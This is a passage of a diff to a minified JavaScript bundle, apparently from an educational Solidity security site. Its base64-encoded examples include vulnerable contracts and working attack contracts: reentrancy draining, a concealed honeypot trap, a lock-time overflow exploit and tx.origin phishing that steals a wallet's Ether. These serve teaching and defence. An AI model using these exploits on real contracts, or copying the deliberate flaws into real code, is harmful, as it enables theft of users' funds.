FkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKLy8gTGV0J3Mgc2F5IHRoaXMgY29kZSBpcyBpbiBhIHNlcGFyYXRlIGZpbGUgc28gdGhhdCBvdGhlcnMgY2Fubm90IHJlYWQgaXQuCmNvbnRyYWN0IEhvbmV5UG90IHsKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGlmIChlcXVhbChfYWN0aW9uLCAiV2l0aGRyYXciKSkgewogICAgICAgICAgICByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],Dk=`

                                A honeypot is a trap to catch hackers.

                                +`,Lk=({prev:s,next:a})=>r.jsx(u,{version:Dk,title:Tk,description:Uk,html:_k,prev:s,next:a,codes:Qk}),Ok="0.8.24",Pk="Honeypot",$k="An example of honeypot in Solidity",qk=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSB3aXRoIDEgRXRoZXIgYnV0IHRoZSB0cmFuc2FjdGlvbiBmYWlscy4KCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkgYW5kIGl0IHN0YXJ0cyB3aXRoZHJhd2luZyBFdGhlciBmcm9tIEJhbmsuCldoZW4gdGhlIGxhc3QgQmFuay53aXRoZHJhdygpIGlzIGFib3V0IHRvIGNvbXBsZXRlLCBpdCBjYWxscyBsb2dnZXIubG9nKCkuCkxvZ2dlci5sb2coKSBjYWxscyBIb25leVBvdC5sb2coKSBhbmQgcmV2ZXJ0cy4gVHJhbnNhY3Rpb24gZmFpbHMuCiovCgpjb250cmFjdCBCYW5rIHsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CiAgICBMb2dnZXIgbG9nZ2VyOwoKICAgIGNvbnN0cnVjdG9yKExvZ2dlciBfbG9nZ2VyKSB7CiAgICAgICAgbG9nZ2VyID0gTG9nZ2VyKF9sb2dnZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvZ2dlci5sb2cobXNnLnNlbmRlciwgbXNnLnZhbHVlLCAiRGVwb3NpdCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPD0gYmFsYW5jZXNbbXNnLnNlbmRlcl0sICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gLT0gX2Ftb3VudDsKCiAgICAgICAgbG9nZ2VyLmxvZyhtc2cuc2VuZGVyLCBfYW1vdW50LCAiV2l0aGRyYXciKTsKICAgIH0KfQoKY29udHJhY3QgTG9nZ2VyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGNhbGxlciwgdWludDI1NiBhbW91bnQsIHN0cmluZyBhY3Rpb24pOwoKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGVtaXQgTG9nKF9jYWxsZXIsIF9hbW91bnQsIF9hY3Rpb24pOwogICAgfQp9CgovLyBIYWNrZXIgdHJpZXMgdG8gZHJhaW4gdGhlIEV0aGVycyBzdG9yZWQgaW4gQmFuayBieSByZWVudHJhbmN5Lgpjb250cmFjdCBBdHRhY2sgewogICAgQmFuayBiYW5rOwoKICAgIGNvbnN0cnVjdG9yKEJhbmsgX2JhbmspIHsKICAgICAgICBiYW5rID0gQmFuayhfYmFuayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhiYW5rKS5iYWxhbmNlID49IDEgZXRoZXIpIHsKICAgICAgICAgICAgYmFuay53aXRoZHJhdygxIGV0aGVyKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGJhbmsuZGVwb3NpdHt2YWx1ZTogMSBldGhlcn0oKTsKICAgICAgICBiYW5rLndpdGhkcmF3KDEgZXRoZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKLy8gTGV0J3Mgc2F5IHRoaXMgY29kZSBpcyBpbiBhIHNlcGFyYXRlIGZpbGUgc28gdGhhdCBvdGhlcnMgY2Fubm90IHJlYWQgaXQuCmNvbnRyYWN0IEhvbmV5UG90IHsKICAgIGZ1bmN0aW9uIGxvZyhhZGRyZXNzIF9jYWxsZXIsIHVpbnQyNTYgX2Ftb3VudCwgc3RyaW5nIG1lbW9yeSBfYWN0aW9uKQogICAgICAgIHB1YmxpYwogICAgewogICAgICAgIGlmIChlcXVhbChfYWN0aW9uLCAiV2l0aGRyYXciKSkgewogICAgICAgICAgICByZXZlcnQoIkl0J3MgYSB0cmFwIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGNvbXBhcmUgc3RyaW5ncyB1c2luZyBrZWNjYWsyNTYKICAgIGZ1bmN0aW9uIGVxdWFsKHN0cmluZyBtZW1vcnkgX2EsIHN0cmluZyBtZW1vcnkgX2IpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],sZ=`

                                A honeypot is a trap to catch hackers.

                                Vulnerability

                                Combining two exploits, reentrancy and hiding malicious code, we can build a contract

                                that will catch malicious users.

                                @@ -8541,7 +9103,7 @@ Logger.log() calls HoneyPot.log() and reverts. Transaction fails. return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } } -`,Lk=({prev:s,next:a})=>r.jsx(u,{version:Ek,title:Uk,description:Tk,html:Dk,prev:s,next:a,codes:Qk}),_k="0.8.24",Ok="Arithmetic Overflow and Underflow",Pk="An example of hacking Solidity with arithmetic overflow / underflow",$k=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpdGhkcmF3IHlvdXIgZXRoZXIuCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY2F1c2VkIHRoZSBUaW1lTG9jay5sb2NrVGltZSB0byBvdmVyZmxvdyBhbmQgd2FzIGFibGUgdG8gd2l0aGRyYXcKYmVmb3JlIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCiovCgpjb250cmFjdCBUaW1lTG9jayB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBsb2NrVGltZTsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdID0gYmxvY2sudGltZXN0YW1wICsgMSB3ZWVrczsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxvY2tUaW1lKHVpbnQyNTYgX3NlY29uZHNUb0luY3JlYXNlKSBwdWJsaWMgewogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdICs9IF9zZWNvbmRzVG9JbmNyZWFzZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdygpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlc1ttc2cuc2VuZGVyXSA+IDAsICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGxvY2tUaW1lW21zZy5zZW5kZXJdLCAiTG9jayB0aW1lIG5vdCBleHBpcmVkIik7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBUaW1lTG9jayB0aW1lTG9jazsKCiAgICBjb25zdHJ1Y3RvcihUaW1lTG9jayBfdGltZUxvY2spIHsKICAgICAgICB0aW1lTG9jayA9IFRpbWVMb2NrKF90aW1lTG9jayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIHRpbWVMb2NrLmRlcG9zaXR7dmFsdWU6IG1zZy52YWx1ZX0oKTsKICAgICAgICAvKgogICAgICAgIGlmIHQgPSBjdXJyZW50IGxvY2sgdGltZSB0aGVuIHdlIG5lZWQgdG8gZmluZCB4IHN1Y2ggdGhhdAogICAgICAgIHggKyB0ID0gMioqMjU2ID0gMAogICAgICAgIHNvIHggPSAtdAogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIHNvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],qk=`

                                Vulnerability

                                +`,aZ=({prev:s,next:a})=>r.jsx(u,{version:Ok,title:Pk,description:$k,html:sZ,prev:s,next:a,codes:qk}),nZ="0.8.24",lZ="Arithmetic Overflow and Underflow",pZ="An example of hacking Solidity with arithmetic overflow / underflow",eZ=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpdGhkcmF3IHlvdXIgZXRoZXIuCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY2F1c2VkIHRoZSBUaW1lTG9jay5sb2NrVGltZSB0byBvdmVyZmxvdyBhbmQgd2FzIGFibGUgdG8gd2l0aGRyYXcKYmVmb3JlIHRoZSAxIHdlZWsgd2FpdGluZyBwZXJpb2QuCiovCgpjb250cmFjdCBUaW1lTG9jayB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBsb2NrVGltZTsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdID0gYmxvY2sudGltZXN0YW1wICsgMSB3ZWVrczsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmNyZWFzZUxvY2tUaW1lKHVpbnQyNTYgX3NlY29uZHNUb0luY3JlYXNlKSBwdWJsaWMgewogICAgICAgIGxvY2tUaW1lW21zZy5zZW5kZXJdICs9IF9zZWNvbmRzVG9JbmNyZWFzZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdygpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlc1ttc2cuc2VuZGVyXSA+IDAsICJJbnN1ZmZpY2llbnQgZnVuZHMiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+IGxvY2tUaW1lW21zZy5zZW5kZXJdLCAiTG9jayB0aW1lIG5vdCBleHBpcmVkIik7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBUaW1lTG9jayB0aW1lTG9jazsKCiAgICBjb25zdHJ1Y3RvcihUaW1lTG9jayBfdGltZUxvY2spIHsKICAgICAgICB0aW1lTG9jayA9IFRpbWVMb2NrKF90aW1lTG9jayk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIHRpbWVMb2NrLmRlcG9zaXR7dmFsdWU6IG1zZy52YWx1ZX0oKTsKICAgICAgICAvKgogICAgICAgIGlmIHQgPSBjdXJyZW50IGxvY2sgdGltZSB0aGVuIHdlIG5lZWQgdG8gZmluZCB4IHN1Y2ggdGhhdAogICAgICAgIHggKyB0ID0gMioqMjU2ID0gMAogICAgICAgIHNvIHggPSAtdAogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIHNvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQyNTYpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQo="}],cZ=`

                                Vulnerability

                                Solidity < 0.8

                                Integers in Solidity overflow / underflow without any errors

                                Solidity >= 0.8
                                @@ -8620,7 +9182,7 @@ before the 1 week waiting period.

                              • Solidity 0.8 defaults to throwing an error for overflow / underflow

                              -`,sZ=({prev:s,next:a})=>r.jsx(u,{version:_k,title:Ok,description:Pk,html:qk,prev:s,next:a,codes:$k}),aZ="0.8.24",nZ="Phishing with tx.origin",lZ="An example of phishing with tx.origin in Solidity",pZ=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlIEV0aGVyIGZyb20gQWxpY2UncyB3YWxsZXQKCldoYXQgaGFwcGVuZWQ/CkFsaWNlIHdhcyB0cmlja2VkIGludG8gY2FsbGluZyBBdHRhY2suYXR0YWNrKCkuIEluc2lkZSBBdHRhY2suYXR0YWNrKCksIGl0CnJlcXVlc3RlZCBhIHRyYW5zZmVyIG9mIGFsbCBmdW5kcyBpbiBBbGljZSdzIHdhbGxldCB0byBFdmUncyBhZGRyZXNzLgpTaW5jZSB0eC5vcmlnaW4gaW4gV2FsbGV0LnRyYW5zZmVyKCkgaXMgZXF1YWwgdG8gQWxpY2UncyBhZGRyZXNzLAppdCBhdXRob3JpemVkIHRoZSB0cmFuc2Zlci4gVGhlIHdhbGxldCB0cmFuc2ZlcnJlZCBhbGwgRXRoZXIgdG8gRXZlLgoqLwoKY29udHJhY3QgV2FsbGV0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHR4Lm9yaWdpbiA9PSBvd25lciwgIk5vdCBvd25lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwogICAgV2FsbGV0IHdhbGxldDsKCiAgICBjb25zdHJ1Y3RvcihXYWxsZXQgX3dhbGxldCkgewogICAgICAgIHdhbGxldCA9IFdhbGxldChfd2FsbGV0KTsKICAgICAgICBvd25lciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICB3YWxsZXQudHJhbnNmZXIob3duZXIsIGFkZHJlc3Mod2FsbGV0KS5iYWxhbmNlKTsKICAgIH0KfQo="}],eZ=`

                              What's the difference between msg.sender and tx.origin?

                              +`,tZ=({prev:s,next:a})=>r.jsx(u,{version:nZ,title:lZ,description:pZ,html:cZ,prev:s,next:a,codes:eZ}),oZ="0.8.24",rZ="Phishing with tx.origin",iZ="An example of phishing with tx.origin in Solidity",gZ=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b2xlIEV0aGVyIGZyb20gQWxpY2UncyB3YWxsZXQKCldoYXQgaGFwcGVuZWQ/CkFsaWNlIHdhcyB0cmlja2VkIGludG8gY2FsbGluZyBBdHRhY2suYXR0YWNrKCkuIEluc2lkZSBBdHRhY2suYXR0YWNrKCksIGl0CnJlcXVlc3RlZCBhIHRyYW5zZmVyIG9mIGFsbCBmdW5kcyBpbiBBbGljZSdzIHdhbGxldCB0byBFdmUncyBhZGRyZXNzLgpTaW5jZSB0eC5vcmlnaW4gaW4gV2FsbGV0LnRyYW5zZmVyKCkgaXMgZXF1YWwgdG8gQWxpY2UncyBhZGRyZXNzLAppdCBhdXRob3JpemVkIHRoZSB0cmFuc2Zlci4gVGhlIHdhbGxldCB0cmFuc2ZlcnJlZCBhbGwgRXRoZXIgdG8gRXZlLgoqLwoKY29udHJhY3QgV2FsbGV0IHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHR4Lm9yaWdpbiA9PSBvd25lciwgIk5vdCBvd25lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwogICAgV2FsbGV0IHdhbGxldDsKCiAgICBjb25zdHJ1Y3RvcihXYWxsZXQgX3dhbGxldCkgewogICAgICAgIHdhbGxldCA9IFdhbGxldChfd2FsbGV0KTsKICAgICAgICBvd25lciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICB3YWxsZXQudHJhbnNmZXIob3duZXIsIGFkZHJlc3Mod2FsbGV0KS5iYWxhbmNlKTsKICAgIH0KfQo="}],hZ=`

                              What's the difference between msg.sender and tx.origin?

                              If contract A calls B, and B calls C, in C msg.sender is B and tx.origin is A.

                              Vulnerability

                              A malicious contract can deceive the owner of a contract into calling a @@ -8683,7 +9245,7 @@ it authorized the transfer. The wallet transferred all Ether to Eve. (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); } -`,cZ=({prev:s,next:a})=>r.jsx(u,{version:aZ,title:nZ,description:lZ,html:eZ,prev:s,next:a,codes:pZ}),tZ="0.8.24",oZ="Source of Randomness",rZ="Blockchain is not a reliable source of randomness in Solidity",iZ=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3cgZWFzeSBpdCBpcyB3aW4uCgoxLiBBbGljZSBkZXBsb3lzIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIHdpdGggMSBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sKMy4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKSBhbmQgd2lucyAxIEV0aGVyCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY29tcHV0ZWQgdGhlIGNvcnJlY3QgYW5zd2VyIGJ5IHNpbXBseSBjb3B5aW5nIHRoZSBjb2RlIHRoYXQgY29tcHV0ZXMgdGhlIHJhbmRvbSBudW1iZXIuCiovCgpjb250cmFjdCBHdWVzc1RoZVJhbmRvbU51bWJlciB7CiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBndWVzcyh1aW50MjU2IF9ndWVzcykgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1N